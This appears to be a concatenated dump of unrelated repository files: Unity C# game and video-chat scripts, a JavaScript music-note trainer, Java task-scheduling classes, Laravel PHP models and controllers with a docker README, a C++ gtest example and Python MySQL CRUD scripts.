Debug.Log("OnPlayerLeftRoom");
if (!PhotonNetwork.CurrentRoom.IsOpen && !PhotonNetwork.CurrentRoom.IsVisible && PhotonNetwork.CurrentRoom.MaxPlayers > PhotonNetwork.CurrentRoom.PlayerCount)
{
PhotonNetwork.CurrentRoom.IsOpen = true;
PhotonNetwork.CurrentRoom.IsVisible = true;
}
}
}<file_sep>/Assets/Scripts/UI/MoveUI.cs
using UnityEngine;
public class MoveUI : MonoBehaviour, BehaviorUI
{
public enum MoveState { In, Idle, Out }
private MoveState m_State = MoveState.In;
[Header("Direction")]
public float m_Range = 1000.0f;
public Vector2 m_EnableDirection = Vector2.up;
public Vector2 m_DisableDirection = Vector2.down;
[Header("Speed")]
public bool m_AutoEnable = true;
public float m_EnableTime = 0.75f;
public float m_DisableTime = 0.5f;
public AnimationCurve m_XCurve = new AnimationCurve(new Keyframe(0, 0), new Keyframe(1, 1));
public AnimationCurve m_YCurve = new AnimationCurve(new Keyframe(0, 0), new Keyframe(1, 1));
private float m_ElapsedTime;
private Vector2 m_HomePosition;
private Vector2 m_DisablePosition;
private Vector2 m_EnablePosition;
private bool m_Completed;
private RectTransform m_Transform;
private void Awake()
{
m_Transform = GetComponent<RectTransform>();
m_HomePosition = m_Transform.anchoredPosition;
m_EnablePosition = m_HomePosition + m_DisableDirection * m_Range;
m_DisablePosition = m_HomePosition + m_EnableDirection * m_Range;
m_Transform.anchoredPosition = m_EnablePosition;
}
public void Enable()
{
m_ElapsedTime = 0.0f;
m_State = MoveState.In;
}
public void Disable()
{
m_ElapsedTime = 0.0f;
m_State = MoveState.Out;
}
private void OnEnable()
{
if (m_AutoEnable)
{
Enable();
}
}
private void Update()
{
if (m_State == MoveState.Idle)
return;
if (m_State == MoveState.In)
{
m_Transform.anchoredPosition = Lerp(m_DisablePosition, m_HomePosition, m_ElapsedTime / m_EnableTime, out m_Completed);
if (m_Completed) m_State = MoveState.Idle;
}
if (m_State == MoveState.Out)
{
m_Transform.anchoredPosition = Lerp(m_HomePosition, m_EnablePosition, m_ElapsedTime / m_DisableTime, out m_Completed);
if (m_Completed) m_State = MoveState.Idle;
}
m_ElapsedTime += Time.deltaTime;
}
private Vector2 Lerp(Vector2 from, Vector2 to, float time, out bool completed)
{
float x = Mathf.LerpUnclamped(from.x, to.x, m_XCurve.Evaluate(time));
float y = Mathf.LerpUnclamped(from.y, to.y, m_YCurve.Evaluate(time));
var position = new Vector2(x, y);
completed = Vector3.Distance(position, to) < 0.01f;
return position;
}
}<file_sep>/Assets/Scripts/CardButton.cs
using UnityEngine;
using UnityEngine.UI;
public class CardButton : MonoBehaviour
{
public Text m_TextUI;
public Card m_Card;
private Button m_Button;
private void Awake()
{
m_Button = GetComponent<Button>();
}
public void SetCard(Card card)
{
m_Card = card;
m_TextUI.text = card.label;
m_Button.onClick.AddListener(() => OnClick());
}
private void OnClick()
{
GameManager.Instance.SelectWord(m_Card.label);
}
}
<file_sep>/Assets/Scripts/Agora/VideoManager.cs
using System;
using System.Collections;
using System.Collections.Generic;
using agora_gaming_rtc;
using UnityEngine;
using UnityEngine.Android;
using UnityEngine.SceneManagement;
using UnityEngine.UI;
public class VideoManager : MonoBehaviour
{
public RectTransform grid;
[SerializeField] private GameObject videoObject;
private string _channelName = "705fb58352d04b4894149b862d278fb6";
private string _appId = "<KEY>";
private IRtcEngine _mrRtcEngine = null;
private uint _myId = 0;
public Dictionary<uint, PlayerVideo> playerVideos = new Dictionary<uint, PlayerVideo>();
private void Start()
{
if (!Permission.HasUserAuthorizedPermission(Permission.Camera))
{
Permission.RequestUserPermission(Permission.Camera);
}
if (!Permission.HasUserAuthorizedPermission(Permission.Microphone))
{
Permission.RequestUserPermission(Permission.Microphone);
}
_mrRtcEngine = IRtcEngine.GetEngine(_appId);
_channelName = PlayerPrefs.GetString(RoomManager.m_ChannelNamePrefs);
JoinChannel();
}
private void JoinChannel()
{
_mrRtcEngine.EnableVideoObserver();
_mrRtcEngine.OnJoinChannelSuccess += OnJoinChannelSuccess;
_mrRtcEngine.OnUserJoined += OnUserJoined;
_mrRtcEngine.OnUserOffline += OnUserOffline;
_mrRtcEngine.OnLeaveChannel += OnLeaveChannel;
if (string.IsNullOrEmpty(_channelName))
return;
_mrRtcEngine.JoinChannel(_channelName, null, 0);
}
private void LeaveChannel()
{
_mrRtcEngine.DisableVideoObserver();
playerVideos[_myId].Clear();
_mrRtcEngine.LeaveChannel();
}
private void OnJoinChannelSuccess(string channelName, uint uid, int elapsed)
{
_myId = uid;
_mrRtcEngine.EnableVideo();
var go = Instantiate(videoObject, grid);
var playerVideo = go.GetComponent<PlayerVideo>();
playerVideos.Add(_myId, playerVideo);
playerVideo.Set(0);
}
private void OnUserJoined(uint uid, int elapsed)
{
if (uid == _myId || _myId == 0)
{
return;
}
_mrRtcEngine.EnableAudio();
var go = Instantiate(videoObject, grid);
var playerVideo = go.GetComponent<PlayerVideo>();
playerVideos.Add(uid, playerVideo);
playerVideo.Set(uid);
playerVideo.gameObject.SetActive(true);
}
private void OnLeaveChannel(RtcStats stats)
{
Debug.Log("Leaving");
}
private void OnUserOffline(uint uid, USER_OFFLINE_REASON reason)
{
_mrRtcEngine.DisableAudio();
var playerVideo = playerVideos[uid];
playerVideo.Clear();
Destroy(playerVideo.gameObject);
}
private void OnDisable()
{
LeaveChannel();
}
private void OnApplicationQuit()
{
LeaveChannel();
}
}
<file_sep>/Assets/Scripts/UI/HealthBar.cs
using UnityEngine;
using UnityEngine.UI;
public class HealthBar : MonoBehaviour
{
[Header("UI")]
public Image m_Bar;
public Color m_CoolColor;
public Color m_HotColor;
public void SetValue(float value)
{
m_Bar.fillAmount = value;
m_Bar.color = Color.Lerp(m_CoolColor, m_HotColor, value);
}
}<file_sep>/Assets/Scripts/Manager/HowToPlayManager.cs
using UnityEngine;
public class HowToPlayManager : MonoBehaviour
{
public GameObject[] Ballon;
public GameObject HowToPlay;
public GameObject TapControl;
public int Index = 0;
public void NextBalloon()
{
Index++;
if(Ballon.Length <= Index){
GameManager.Instance.ShowChooseWordDialog();
HowToPlay.SetActive(false);
}else{
Ballon[(Index - 1)].SetActive(false);
Ballon[Index].SetActive(true);
}
}
}
<file_sep>/Assets/Scripts/Dialogo/DialogTrigger.cs
using UnityEngine;
public class DialogTrigger : MonoBehaviour
{
public Dialog m_Dialog;
public bool m_CanAsk;
private void Update()
{
if (m_CanAsk && Input.GetButtonDown("Jump"))
{
DialogManager.Instance.BeginDialog(m_Dialog);
}
}
private void OnTriggerEnter(Collider other) {
if(other.CompareTag("Player"))
m_CanAsk = true;
}
private void OnTriggerExit(Collider other) {
if(other.CompareTag("Player"))
m_CanAsk = false;
}
}
| 1075e7a04ba0c0ed073894275aee233f26d5ce24 | [
"Markdown",
"C#"
] | 31 | C# | kleberandrade/astruss-nasaspaceapss-unity | 9327d49b870a0bcdf01fc9d91a19beff75180d2b | 0a98ae831df1982e8501ae134ff94ac9828cb694 |
refs/heads/master | <repo_name>j3nn1k4/notes-training<file_sep>/README.md
# notes-training
Dies ist eine kleine Applikation zum lernen.
## TODOs
* Todo 1
* Todo 2
* Todo 3
<file_sep>/doc/notes.txt
Notizen:
Duration:
Man muss den Takt voll bekommen, um eine Note zu sehen
q ist eine viertel Note
w ist eine ganze Note
Notenbeschriftung:
Die Noten werden nach der englischen Notation geschrieben, das heißt, dass das h ein b ist. <file_sep>/app/notenuebung.js
var noteName = ["c", "d", "e", "f", "g", "a", "b"];
var selectNote;
var points = 0;
var previousNote;
var renderer;
var context;
var idCounter;
// führe Initialisierung nach laden des gesamten Dokumentes durch
$(function() {
initRenderer();
createButtons(true);
printRandomNote();
showPoints();
bindEventHandler();
countToNewNote();
});
/**
* Funktion führt das initiale Rendering für die Notenlinien aus
*/
function initRenderer() {
// Create an SVG renderer and attach it to the DIV element named "note".
var div = document.getElementById("note")
renderer = new Vex.Flow.Renderer(div, Vex.Flow.Renderer.Backends.SVG);
renderer.resize(375, 100)
// Configure the rendering context.
context = renderer.getContext();
}
/**
* Funktion verbindte die HTML Buttons mit dem Javascript Code
*/
function bindEventHandler() {
$('#ctrlShowNotes').on('click', function() {
console.log('zeige Noten');
createButtons(true);
});
$('#ctrlHideNotes').on('click', function() {
createButtons(false);
});
}
/**
* Diese Funktion erzeugt eine Random Note
* Anschließend werden die Notenstriche generiert und die random Note dort angezeigt
*/
function printRandomNote() {
var arrayNum = Math.floor(Math.random() * noteName.length);
selectNote = noteName[arrayNum];
if (selectNote == previousNote) {
var arrayNum = Math.floor(Math.random() * noteName.length);
selectNote = noteName[arrayNum];
previousNote = selectNote;
printRandomNote();
$('#result').text('Wähle die richtige Note!');
}
else {
countToNewNote();
context.clear();
$('#result').text('Wähle die richtige Note!');
// Positioniert die Notenanzeige richtig und ermittelt die richtige Breite
var stave = new Vex.Flow.Stave(130, 0, 100);
// Add a clef and time signature.
stave.addClef("treble").addTimeSignature("4/4");
// Connect it to the rendering context and draw!
stave.setContext(context).draw();
var notes = [
// A quarter-note C.
new Vex.Flow.StaveNote({ keys: [selectNote + "/4"], duration: "w" }),
];
// Create a voice in 4/4 and add above notes
var voice = new Vex.Flow.Voice({num_beats: 4, beat_value: 4});
voice.addTickables(notes);
// Format and justify the notes to 400 pixels.
var formatter = new Vex.Flow.Formatter().joinVoices([voice]).format([voice], 400);
// Render voice
voice.draw(context, stave);
previousNote = selectNote
}
}
/**
* Diese Funktion erstellt die Buttons, die die Klaviertastatur darstellen
*/
function createButtons(showNotes) {
// Lösche alle direkten Kind-Elemente in notes von Typ Button
$('#notes > button').remove();
for (var i = 0; i < noteName.length; i++) {
var $noteButton = $('<button>')
.attr('data-note', noteName[i])
.on('click', onNoteClick);
if(showNotes) {
$noteButton.text(noteName[i]);
}
$('#notes').append($noteButton);
}
}
/**
* Countdown bis zur nächsten Note
*/
function countToNewNote(){
var counter = 10;
if(idCounter) {
clearInterval(idCounter);
}
idCounter = setInterval(function() {
counter--;
if(counter < 0) {
clearInterval(idCounter);
printRandomNote();
} else {
$('#countdownTimer').text("Wähle eine Note in " + counter.toString() + " Sekunden.");
}
}, 1000);
}
function stopCounter() {
clearInterval(idCounter);
$('countdownTimer').text('Klicken Sie Start, um den Countdown zu beginnen.')
}
/**
* Pausiert den Countdown
*/
function onPauseClick(){
$('#pauseCountdown').on('click', function() {
stopCounter();
console.log();
});
$('#startCountdown').on('click', function() {
countToNewNote();
});
}
/**
* Funktion wird aufgerufen wenn auf die Note geclickt wird
*/
function onNoteClick(event){
var note = event.target.dataset.note;
if (note == selectNote){
//Zähle Punktscore hoch
points += 1;
showPoints();
$('#result').text('Richtige Note gewählt!');
// Zeige die nächste Note nach 1500ms an.
setTimeout(function() {
printRandomNote();
$('#result').text('Wähle die richtige Note!');
}, 1500);
}
else {
$('#result').text('Viel Erfolg beim nächsten Mal!');
points -= 1;
showPoints();
}
}
/**
* Funktion wird aufgerufen wenn auf die Note geclickt wird
*/
function showPoints() {
$('#points').html("Deine aktuelle Punktzahl ist: </br>" + points);
}
| eedb0c4461e482f5b6c420cb57e9435120cbaa1c | [
"Markdown",
"JavaScript",
"Text"
] | 3 | Markdown | j3nn1k4/notes-training | 9ba1ee1369dc43945adee74c71b3a9b0b1580143 | 62b6466b28728a02ac70e2a70b278585bf2f4e9f |
refs/heads/master | <file_sep>
SRC = ../../src
INCS = -I./ -I$(SRC)
LIBS = -L/usr/
OBJS = $(SRC)/multiply.o $(SRC)/factorial.o
APP_CPPFLAGS = -lgtest -lpthread
testAll: $(OBJS) tests.cpp
g++ $(INCS) -o testAll tests.cpp $(OBJS) $(APP_CPPFLAGS)
%.o: %.cpp
g++ -c $*.cpp -o $*.o
.PHONY: clean
clean:
rm testAll
<file_sep>#include "multiply.h"
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
if (argc != 3)
std::cout << argv[0] << " requires two inputs" << std::endl;
else
{
printf("Product: %f", multiply(atof(argv[1]),atof(argv[2])));
std::cout << std::endl;
}
}
<file_sep>cd src
make
cd ../test/src
make
./testAll
<file_sep>#include "multiply.h"
#include "factorial.h"
#include "gtest/gtest.h"
TEST(MultiplyTest, HandlesInput) {
EXPECT_EQ(4.0, multiply(2.0, 2.0));
}
TEST(FactorialTest, HandlesPositives) {
EXPECT_EQ(factorial(5.0), 120);
}
TEST(FactorialTest, HandlesZero) {
EXPECT_EQ(factorial(0), 1);
}
TEST(FactorialTest, HandlesNegatives) {
EXPECT_EQ(factorial(-4), -1);
}
int main(int argc, char *argv[]) {
::testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
<file_sep>#include "multiply.h"
float multiply(const float a, const float b)
{
return a*b;
}
<file_sep>#ifndef FACTORIAL_H
#define FACTORIAL_H
int factorial(const int);
#endif
<file_sep>#ifndef MULTIPLY_H
#define MULTIPLY_H
float multiply(const float, const float);
#endif
<file_sep>OBJS = multiply.o factorial.o
multiply: main.cpp $(OBJS)
g++ -o multiply main.cpp $(OBJS)
%.o: %.cpp
g++ -c $*.cpp -o $*.o
.PHONY : clean
clean:
rm *.o multiply
<file_sep># learning_travis
[](https://travis-ci.org/jsrehak/learning_travis)
<file_sep>#include "factorial.h"
int factorial(int a) {
if (a == 0)
return 1;
else if (a < 0)
return -1;
else {
int ans;
ans = 1;
do {
ans *= a;
--a;
} while (a > 0);
return ans;
}
}
| b54af4a9531760caaa9c58d3294768868ce08099 | [
"Markdown",
"Makefile",
"C",
"C++",
"Shell"
] | 10 | Makefile | jsrehak/learning_travis | 53909cd3a9dd052f292c953fb90af055dc6aa179 | a73030c552fa3206c9ed2eb47337500c61eb5f53 |
refs/heads/main | <file_sep># JavaCode
DSA in Java
<file_sep>package com.company;
import java.util.*;
public class CriticalConnections {
private List<Integer>[] graph;
private int[] visitedTime;
private int[] lowTime;
private int time;
List<List<Integer>> result;
public List<List<Integer>> findCriticalEdge(int n, int[][] g) {
graph = new ArrayList[n];
visitedTime = new int[n];
lowTime = new int[n];
result = new ArrayList<>();
time = 0;
buildGraph(g);
boolean[] visited = new boolean[n];
dfs(visited, 0, -1);
return result;
}
private void dfs(boolean[] visited, int currNode, int parentNode) {
visited[currNode] = true;
visitedTime[currNode] = lowTime[currNode] = time++;
for(int neighbor : graph[currNode]) {
if(neighbor == parentNode)
continue;
if(visited[neighbor]) {
lowTime[currNode] = Math.min(lowTime[currNode], visitedTime[neighbor]);
}
else {
dfs(visited, neighbor, currNode);
lowTime[currNode] = Math.min(lowTime[currNode], lowTime[neighbor]);
if(visitedTime[currNode] < lowTime[neighbor])
result.add(Arrays.asList(currNode, neighbor));
}
}
}
private void buildGraph(int[][] g) {
for(int i = 0; i < graph.length; i++)
graph[i] = new ArrayList<>();
for(int[] edge : g) {
graph[edge[0]].add(edge[1]);
graph[edge[1]].add(edge[0]);
}
}
}
| ce8039c892d58c51005ef0d76a31c201fb52346f | [
"Markdown",
"Java"
] | 2 | Markdown | sami7757/JavaCode | 25f601a3818ed7f1dea3d424fde3fc3d0b7118ce | ad7f68397024714c272553093ea829d65a95aa0f |
refs/heads/master | <file_sep>package com.mqtt;
public class DataPattern {
static int count;
static boolean alert;
static String series="";
}
| 454ffc657a70481f1ee6f5a08904b888f9b3dde5 | [
"Java"
] | 1 | Java | gunasekaranhcl/mqttv2 | 03c78ddfad870cf19ba359c1dc5951c369fc14fe | d1feed37afe9cfdb2b6d01fe6cbeb6187c00ab01 |
refs/heads/master | <repo_name>tonatiujsanchez/Firechat-ng10<file_sep>/src/app/components/chat/chat.component.ts
import { Component, OnInit } from '@angular/core';
import { ChatService } from '../../services/chat.service';
@Component({
selector: 'app-chat',
templateUrl: './chat.component.html',
styles: [
]
})
export class ChatComponent implements OnInit{
mensaje:string = '';
elemeto: any;
constructor( public _chatsService: ChatService ) {
this._chatsService.cargarMensajes().subscribe( ()=>{
setTimeout(() => {
this.elemeto.scrollTop = this.elemeto.scrollHeight;
}, 20);
});
}
ngOnInit(){
this.elemeto = document.getElementById('app-mensajes');
}
enviarMensaje(){
if( this.mensaje.length === 0 ){
console.log('No has escrito ningun mensaje');
return;
}
this._chatsService.agregarMensaje( this.mensaje )
.then( resp =>{
// console.log('Se inserto correctamente');
this.mensaje = '';
}).catch(
err =>{
console.log('Hubo un error', err);
}
)
}
}
| cfc392147cb6f9b4b2e2ef885dedbfe149cc24c4 | [
"TypeScript"
] | 1 | TypeScript | tonatiujsanchez/Firechat-ng10 | e5a451bbe50fadca566fe9fc489831f4923ec231 | 1c04711af91c7f02da91a030064d777b06f03481 |
refs/heads/master | <file_sep>/* Copyright (C) 2011 <NAME> (<EMAIL>)
*
* This file is part of Logos.
*
* Logos is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Logos is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Logos. If not, see <http://www.gnu.org/licenses/>.
*/
package com.bluess.logos;
/**
* An {@link EmptyTask} task instance do nothing except returning it's
* priority and identifier, both must be setted through the constructor.
*
* @author <NAME>
*/
public class EmptyTask implements Task {
/**
* Task priority.
*/
private final long priority;
/**
* Task identifier.
*/
private final String identifier;
/**
* Create a new {@link EmptyTask}.
*
* @param priority
* @param identifier
*/
public EmptyTask(final long priority, final String identifier) {
this.priority = priority;
this.identifier = identifier;
}
/**
* {@inheritDoc}
*
* @see com.bluess.logos.Task#getPriority()
*/
@Override
public long getPriority() {
return this.priority;
}
/**
* This method body is empty.
*
* @see com.bluess.logos.Task#execute()
*/
@Override
public void execute() {
}
/**
* {@inheritDoc}
*
* @see com.bluess.logos.Task#getIdentifier()
*/
@Override
public String getIdentifier() {
return this.identifier;
}
/**
* This method body is empty.
*
* @see com.bluess.logos.Task#computePriority()
*/
@Override
public void computePriority() {
}
}
<file_sep>/* Copyright (C) 2011 <NAME> (<EMAIL>)
*
* This file is part of Logos.
*
* Logos is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Logos is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Logos. If not, see <http://www.gnu.org/licenses/>.
*/
package com.bluess.logos.log;
/**
* This {@link Logger} factory class is used as static binding to a real
* implementation.
*
* @author <NAME>
*/
public class LoggerFactory {
/**
* Throw a new {@link IllegalStateException} upon invocation.
*
* @param clazz is unused
* @return it never returns
*/
public static Logger getLogger(Class<?> clazz) {
throw new IllegalStateException("Build error: substitute this com.bluess.logos.log.LoggerFactory with a real one.");
}
}
<file_sep>/* Copyright (C) 2011 <NAME> (<EMAIL>)
*
* This file is part of Logos.
*
* Logos is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Logos is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Logos. If not, see <http://www.gnu.org/licenses/>.
*/
package com.bluess.logos;
/**
* Implementation of {@link BaseTimePriorityCalculator} which uses a
* multiplier as following.<br>
* <code>{@linkplain System#nanoTime()} * multiplier - creationTime</code>
*
* @author <NAME>
*/
public class MultiplierTimePriorityCalculator extends BaseTimePriorityCalculator {
/**
* Current time multiplier.
*/
private long multiplier;
/**
* Create a new {@link MultiplierTimePriorityCalculator} using
* {@code multiplier} as current time multiplier.
*
* @param multiplier
*/
public MultiplierTimePriorityCalculator(final long multiplier) {
this.multiplier = multiplier;
}
/**
* {@inheritDoc}
* @see com.bluess.logos.BaseTimePriorityCalculator#getTime(long)
*/
@Override
protected long getTime(final long creationTime) {
return System.nanoTime() * this.multiplier - creationTime;
}
}
<file_sep>/* Copyright (C) 2011 <NAME> (<EMAIL>)
*
* This file is part of Logos.
*
* Logos is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Logos is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Logos. If not, see <http://www.gnu.org/licenses/>.
*/
package com.bluess.logos;
/**
* A task executable through {@link #execute()} by a {@link Thread}.<br>
* {@link Task} implementations should represents an atomic task and every
* method should be designed to be as fast as possible to avoid task
* starvation.
*
* @author <NAME>
*/
public interface Task {
/**
* Calculate task priority.
*/
public void computePriority();
/**
* Return task priority.
*
* @return priority
*/
public long getPriority();
/**
* Task execution method.
*/
public void execute();
/**
* Return task identifier
*
* @return identifier
*/
public String getIdentifier();
}
| e1fba454b62e0593563715effefe1cb74934b5fa | [
"Java"
] | 4 | Java | valeriodelbello/Logos | a3a53c20e68604764deddc861994562a0aaf9c93 | f9415073006844cbdde8f5b58cd7177b92104a29 |
refs/heads/main | <repo_name>Umair9876/Python_Crud_operation<file_sep>/database_creation.pyi
import mysql.connector
mydb = mysql.connector.connect(host="localhost",user="root",passwd="")
mycursor = mydb.cursor()
mycursor.execute("Create Database Umair")
<file_sep>/delete-op-table.py
import mysql.connector
mydb = mysql.connector.connect(host="localhost",user="root",passwd="",database="umair")
mycursor = mydb.cursor()
mydel = "DELETE from employee where name='Umair'"
mycursor.execute(mydel)
mydb.commit()
<file_sep>/create_rd_pyhton.py
import mysql.connector
mydb = mysql.connector.connect(host="localhost",user="root",passwd="",database="umair")
mycursor = mydb.cursor()
mycursor.execute("Select * from employee")
myresult=mycursor.fetchall()
'''fatchmany constains 1 row
fetchone cotains 1 coloumns
fetchall contains all table
'''
for row in myresult:
print(row)<file_sep>/insert_operation_table.py
import mysql.connector
mydb = mysql.connector.connect(host="localhost",user="root",passwd="",database="umair")
mycursor = mydb.cursor()
sqlform = "Insert into employee(name,salary) values(%s,%s)"
employee = [("Umair",200000),("Rafay",300000),("hassnain",400000)]
mycursor.executemany(sqlform,employee)
mydb.commit()
<file_sep>/Update_python_opt_table.py
import mysql.connector
mydb = mysql.connector.connect(host="localhost",user="root",passwd="",database="umair")
mycursor = mydb.cursor()
sql = "UPDATE employee SET salary=700000 where name='Umair'"
mycursor.execute(sql)
mydb.commit()
<file_sep>/README.md
# Python_Crud_operation
Simple Crud Operation with Database(mysql)
<file_sep>/create_tb_python.py
import mysql.connector
mydb = mysql.connector.connect(host="localhost",user="root",passwd="",database="umair")
mycursor = mydb.cursor()
# mycursor.execute("Create table employee (name varchar(200), salary int(20))")
mycursor.execute("Show tables")
for db in mycursor:
print(db)
<file_sep>/connection.py
import mysql.connector
mydb = mysql.connector.connect(host="localhost",user="root",passwd="")
print(mydb)
if(mydb):
print("Connection Successfull")
else:
print("Connection Unsucessfull") | 5faf6dd58d2d37a334dab823c078a6f0615909b2 | [
"Markdown",
"Python"
] | 8 | Python | Umair9876/Python_Crud_operation | 409ad3daa59a6d268892ea2cbb92621313b80171 | cf3cc44e0adb352bc10e55a657bf47b950e104b3 |
refs/heads/master | <file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Company;
use Illuminate\Support\Facades\Session;
class CompanyController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
//
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
//
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
//
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit(Company $company)
{
//return $company;
//return view('company.edit', compact('company'));
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, Company $company)
{
$company->update($request->all());
if($request->hasFile('logo')){
$fileName = pathinfo($request->logo->getClientOriginalName(), PATHINFO_FILENAME);
$fileExtension = $request->file('logo')->getClientOriginalExtension();
$fileNameToStore = sprintf('%s%s%s%s', $fileName, time(),'.',$fileExtension);
$path = $request->file('logo')->storeAs('public/logo', $fileNameToStore);
} else {
$fileNameToStore = 'noimage.jpg';
}
$company->logo = $fileNameToStore;
$recordUpdate = $company->update();
if ($recordUpdate){
$status = 'success';
$message = 'Record Updated';
} else {
$status = 'failure';
$message = 'Record Update Failed';
}
Session::flash($status, $message);
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
/**
* Class Company
* @package App
*/
class Company extends Model
{
protected $fillable = [
'name',
'street',
'city',
'country',
'zip',
'phone',
'fax',
'email',
'description',
'tagline',
'logo',
'privacy',
];
/**
* Get the user that owns the profile.
*/
public function profile()
{
return $this->belongsTo(Profile::class);
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
/**
* Class Profile
* @package App
*/
class Profile extends Model
{
protected $fillable = [
'dob',
'street',
'city',
'country',
'zip',
'privacy',
'setup',
];
/**
* Get the user that owns the profile.
*/
public function user()
{
return $this->belongsTo(User::class);
}
/**
* Get the companies record associated with the profile.
*/
public function companies()
{
return $this->hasMany(Company::class);
}
}
<file_sep><p align="center"><img src="https://laravel.com/assets/img/components/logo-laravel.svg"></p>
<p align="center">
<a href="https://travis-ci.org/laravel/framework"><img src="https://travis-ci.org/laravel/framework.svg" alt="Build Status"></a>
<a href="https://packagist.org/packages/laravel/framework"><img src="https://poser.pugx.org/laravel/framework/d/total.svg" alt="Total Downloads"></a>
<a href="https://packagist.org/packages/laravel/framework"><img src="https://poser.pugx.org/laravel/framework/v/stable.svg" alt="Latest Stable Version"></a>
<a href="https://packagist.org/packages/laravel/framework"><img src="https://poser.pugx.org/laravel/framework/license.svg" alt="License"></a>
</p>
## About Laraveldocker repo
Clone the repo to get fresh laravel project with docker container.
- git clone https://github.com/bushrakhalid786/laraveldocker.git
- cd laraveldocker
- docker-compose up --build
- Website is now available at http://localhost:8081
- mySql client connectivity (Sequel Pro etc...) Host: 127.0.0.1, username: root, password: <PASSWORD>, port: 8082, database name: laraveldoc
- if you change the credentials in setting up docker-compose.yml, then do the changes in the .env file as well
- docker container ssh. $docker-compose exec php-fpm bash
- run migrations after ssh to docker container.
## Learning Laravel
Laravel has the most extensive and thorough [documentation](https://laravel.com/docs) and video tutorial library of any modern web application framework, making it a breeze to get started learning the framework.
If you're not in the mood to read, [Laracasts](https://laracasts.com) contains over 1100 video tutorials on a range of topics including Laravel, modern PHP, unit testing, JavaScript, and more. Boost the skill level of yourself and your entire team by digging into our comprehensive video library.
## Contributing
Thank you for considering contributing to the Laravel framework! The contribution guide can be found in the [Laravel documentation](https://laravel.com/docs/contributions).
## Security Vulnerabilities
If you discover a security vulnerability within Laravel, please send an e-mail to <NAME> via [<EMAIL>](mailto:<EMAIL>). All security vulnerabilities will be promptly addressed.
## License
The Laravel framework is open-sourced software licensed under the [MIT license](https://opensource.org/licenses/MIT).
| 7b58a91b8d4545db41d5cc0fc9e786f071536cd7 | [
"Markdown",
"PHP"
] | 4 | PHP | bushrakhalid786/snowfin | 188a1c29dbafb6d32ea3db7f3debdb65484ec87c | f4e9a72bbfa3588f3022dc4dc5bc01e430f178e5 |
refs/heads/main | <repo_name>Gvnn01/gamades2<file_sep>/README.md
# gamades2
Segundo desafio da gama academy
| 0945eab069b3391803ecea11f0d700e0d080965b | [
"Markdown"
] | 1 | Markdown | Gvnn01/gamades2 | 78d4d6b3a1f8996e052772643d87f2bc6eb564b4 | 735ae925137779f5c07ae49cc4920609a58c0e59 |
refs/heads/master | <repo_name>prikansaritual/dial-reference<file_sep>/server/tests/js_tests/libs/utils.js
"use strict";
const colors = require("colors/safe");
const sprintf = require("sprintf-js").sprintf;
function printTestInfo(test, msg) {
return console.log(sprintf("%-20s : %-s\n%-20s : %-s", "Test", test, "Description", msg));
}
function printTestSuccess() {
return console.log(colors.green("TEST PASSED\n"));
}
function printTestFailure(err) {
return console.log(colors.red(sprintf("%-20s : %-s\n", "TEST FAILED", err)));
}
module.exports.printTestInfo = printTestInfo;
module.exports.printTestSuccess = printTestSuccess;
module.exports.printTestFailure = printTestFailure;
<file_sep>/premake5.lua
workspace "dial_reference"
configurations { "Debug", "Release" }
platforms { "x64", "Win32" }
filter "configurations:Debug"
defines { "DEBUG" }
filter "platforms:Win32"
includedirs { "win32/inc " }
libdirs { "win32/libs" }
links {"Ws2_32", "libcurl", "pthreadVC2"}
project "client"
location ".\client"
kind "consoleapp"
language "C++"
files { "client/main.cpp", "client/DialServer.cpp", "client/DialDiscovery.cpp", "client/DialConformance.cpp", "client/DialClientInput.cpp" }
| 56be9272e7de8b4a6cdbf8dcabb236566b9b79d0 | [
"JavaScript",
"Lua"
] | 2 | JavaScript | prikansaritual/dial-reference | 1828b5e52e4f97a93e6a6cc588292b9a6b900acd | 378c4e4564aa94e356beb500829597819329197d |
refs/heads/master | <file_sep>import { Resolvers } from "../../../types/resolvers";
import privateResolver from "../../../utils/privateResolver";
import User from "../../../entities/User";
import { GetNearbyDriversResponse } from "../../../types/graph";
